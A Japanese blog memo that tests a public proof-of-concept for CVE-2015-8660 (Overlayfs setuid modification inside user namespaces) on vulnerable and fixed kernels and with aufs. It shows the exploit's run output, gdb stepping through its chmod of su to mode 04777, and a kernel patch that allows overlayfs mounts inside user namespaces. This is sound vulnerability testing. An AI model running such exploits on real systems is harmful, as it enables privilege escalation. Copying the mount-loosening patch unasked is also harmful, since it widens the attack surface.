TenForward

技術ブログ。はてなダイアリーから移転しました

[Linux][Kernel][Security] User Namespace と Overlayfs と CVE-2015-8660

単なるメモです。

aufs-users ML に流れた、Overlayfs と User Namespace(userns) を併せて使った時の脆弱性のお話:

脆弱性の内容は

これに関連する脆弱性として CVE-2015-8660 があるようで、これはすでに修正済みで、上記に書かれた脆弱性もこれで影響なくなるらしい。

aufs で userns は aufs を使った一般ユーザ権限で起動するコンテナ - TenForwardの日記 のあたりの話で、普段から allow_userns=1 で使ってるので、少し興味をそそられたので試してみました。

ただ、上記に書かれている脆弱性ですが、そもそも vanilla kernel だと userns 内の特権ユーザでも overlayfs のマウントはできないので、ここに書かれている userns 内で Overlayfs マウントして悪いことする、ってのは無理なような気がするので、パッチを当てて userns 内で Overlayfs マウントができるようにしている Ubuntu 特有の話に思えるけど、他にできるようにしてるディストリビューションあるのかな?

Plamo でも Ubuntu を真似して、userns 内で overlayfs マウント可能にしてます。こんなパッチ:

diff -uNr linux-4.2/fs/overlayfs/super.c linux-4.2-olfs/fs/overlayfs/super.c
--- linux-4.2/fs/overlayfs/super.c	2015-08-31 03:34:09.000000000 +0900
+++ linux-4.2-olfs/fs/overlayfs/super.c	2015-09-02 16:09:24.339937219 +0900
@@ -1097,6 +1097,7 @@
 	.name		= "overlay",
 	.mount		= ovl_mount,
 	.kill_sb	= kill_anon_super,
+	.fs_flags	= FS_USERNS_MOUNT,
 };
 MODULE_ALIAS_FS("overlay");
 

(参考:overlayfs と LXC 非特権コンテナの snapshot によるクローン - TenForwardの日記の「Plamo 5.2の非特権コンテナのclone」の項)

とりあえず aufs-users ML にあったパッチを当てて試してみました。aufs では成功しないけど…

試した環境は

  • Kernel 4.2.3 に aufs パッチと前述の userns 内で overlayfs マウント可能にするパッチを当てた環境(脆弱性あり)
  • Kernel 4.4 に aufs パッチと前述の userns 内で overlayfs マウント可能にするパッチを当てた環境(脆弱性なし)

Kernel 4.2.3 の Overlayfs

$ ./UserNamespaceOverlayfsSetuidWriteExec -- /bin/bash
Setting uid map in /proc/3749/uid_map
Setting gid map in /proc/3749/gid_map
euid: 65534, egid: 65534
euid: 0, egid: 0
overlayfs
Namespace helper waiting for modification completion
Namespace part completed

成功してるらしいけど、これだけだと何がなんだか謎なので、gdb でステップ実行しながら、Overlayfs マウントして su を chmod したあたりで止めてチェックしてみました。

$ gdb ./UserNamespaceOverlayfsSetuidWriteExec
(gdb) set follow-fork-mode child 
(gdb) b 63
Breakpoint 1 at 0x400fb5: file UserNamespaceOverlayfsSetuidWriteExec.c, line 63.
(gdb) run -- /bin/bash
Starting program: /home/karma/userns/UserNamespaceOverlayfsSetuidWriteExec -- /bin/bash
warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7ffff7ffa000
[New process 3236]
Setting uid map in /proc/3236/uid_map
Setting gid map in /proc/3236/gid_map
euid: 0, egid: 0
euid: 0, egid: 0
[Switching to process 3236]

Breakpoint 1, childFunc (arg=0x7fffffffe668)
    at UserNamespaceOverlayfsSetuidWriteExec.c:63
63	  result=chmod("su", 04777);
(gdb) n
64	  if(result) {
(gdb) p result
$1 = 0
(gdb)

ここで止めます。別シェルで

$ sudo nsenter -t 3908 -m -U
plamo64:/# ls -l /tmp/x/bin/su
-rwsrwxrwx 1 nobody nogroup 161  1月 15 18:38 /tmp/x/bin/su
plamo64:/# ls -l /tmp/x/over/su
-rwsrwxrwx 1 nobody nogroup 161  1月 15 18:38 /tmp/x/over/su

ここで su のパーミッションが変わっているのがマズいんだと思う。

Kernel 4.4 の Overlayfs

対策済みなカーネルでやるとこんな風に。

$ ./UserNamespaceOverlayfsSetuidWriteExec -- /bin/bash
Setting uid map in /proc/4960/uid_map
euid: 65534, egid: 65534
Setting gid map in /proc/4960/gid_map
euid: 0, egid: 0
overlayfs
Mode change failed
Failed to open /proc/4960/cwd/su, error No such file or directory

同じように gdb から起動して chmod のあとで止めてみます。

$ gdb ./UserNamespaceOverlayfsSetuidWriteExec
(gdb) set follow-fork-mode child 
(gdb) b 63
Breakpoint 1 at 0x400ff1: file UserNamespaceOverlayfsSetuidWriteExec.c, line 63.
(gdb) set env TRY_AUFS=1 
(gdb) run -- /bin/bash
Starting program: /home/karma/userns/UserNamespaceOverlayfsSetuidWriteExec -- /bin/bash
warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7ffff7ffa000
[New process 3215]
Setting uid map in /proc/3215/uid_map
Setting gid map in /proc/3215/gid_map
euid: 0, egid: 0
euid: 0, egid: 0
aufs
[Switching to process 3215]

Breakpoint 1, childFunc (arg=0x7fffffffe668)
    at UserNamespaceOverlayfsSetuidWriteExec.c:63
63	  result=chmod("su", 04777);
(gdb) n
Failed to open /proc/3215/cwd/su, error Permission denied
64	  if(result) {
(gdb) p result
$1 = -1
(gdb) 

上記で失敗しているのはわかるんだけど、ここで同じく別シェルを開いて一応確認。

$ sudo nsenter -t 3215 -m -U
plamo64:/# ls -l /tmp/x/bin/su
-rwsr-xr-x 1 nobody nogroup 37400  1月 22  2015 /tmp/x/bin/su
plamo64:/# ls -l /tmp/x/over/su
-rwsr-xr-x 1 nobody nogroup 37400  1月 22  2015 /tmp/x/over/su

Kernel 4.2.3 の aufs (allow_userns=1)

allow_userns=1 で実行。

$ TRY_AUFS=1 ./UserNamespaceOverlayfsSetuidWriteExec -- /bin/bash
Setting uid map in /proc/3321/uid_map
Setting gid map in /proc/3321/gid_map
euid: 0, egid: 0
euid: 0, egid: 0
aufs
Mode change failed
Failed to open /proc/3321/cwd/su, error Permission denied
$ gdb ./UserNamespaceOverlayfsSetuidWriteExec
(gdb) set follow-fork-mode child 
(gdb) set env TRY_AUFS=1
(gdb) b 63
Breakpoint 1 at 0x400ff1: file UserNamespaceOverlayfsSetuidWriteExec.c, line 63.
(gdb) run -- /bin/bash
Starting program: /home/karma/userns/UserNamespaceOverlayfsSetuidWriteExec -- /bin/bash
[New process 3399]
Setting uid map in /proc/3399/uid_map
Setting gid map in /proc/3399/gid_map
euid: 0, egid: 0
euid: 0, egid: 0
aufs
[Switching to process 3399]

Breakpoint 1, childFunc (arg=0x7fffffffe668)
    at UserNamespaceOverlayfsSetuidWriteExec.c:63
63	  result=chmod("su", 04777);
(gdb) n
64	  if(result) {
(gdb) p result
$1 = -1
(gdb) n
65	    fprintf(stderr, "Mode change failed\n");

Kernel 4.2.3 の aufs (allow_userns=0)

allow_userns=0 にすると、そもそも Userns 内のユーザはマウントできないので

$ TRY_AUFS=1 ./UserNamespaceOverlayfsSetuidWriteExec -- /bin/bash
Setting uid map in /proc/3245/uid_map
Setting gid map in /proc/3245/gid_map
euid: 0, egid: 0
euid: 0, egid: 0
aufs
Overlay mounting failed: 1 (Operation not permitted)

Kernel 4.4.0 の aufs

4.2.3 と同じような動き。

$ TRY_AUFS=1 ./UserNamespaceOverlayfsSetuidWriteExec -- /bin/bash
Setting uid map in /proc/3202/uid_map
Setting gid map in /proc/3202/gid_map
euid: 0, egid: 65534
euid: 0, egid: 0
aufs
Mode change failed
Failed to open /proc/3202/cwd/su, error Permission denied
$ gdb ./UserNamespaceOverlayfsSetuidWriteExec
(gdb) set follow-fork-mode child 
(gdb) b 63
Breakpoint 1 at 0x400ff1: file UserNamespaceOverlayfsSetuidWriteExec.c, line 63.
(gdb) set env TRY_AUFS=1 
(gdb) run -- /bin/bash
Starting program: /home/karma/userns/UserNamespaceOverlayfsSetuidWriteExec -- /bin/bash
warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7ffff7ffa000
[New process 3215]
Setting uid map in /proc/3215/uid_map
Setting gid map in /proc/3215/gid_map
euid: 0, egid: 0
euid: 0, egid: 0
aufs
[Switching to process 3215]

Breakpoint 1, childFunc (arg=0x7fffffffe668)
    at UserNamespaceOverlayfsSetuidWriteExec.c:63
63	  result=chmod("su", 04777);
(gdb) n
Failed to open /proc/3215/cwd/su, error Permission denied
64	  if(result) {
(gdb) p result
$1 = -1
(gdb) n
65	    fprintf(stderr, "Mode change failed\n");
(gdb) 

(2016-01-20 追記) http://lwn.net/Articles/671641/ にこの件が載っていますね。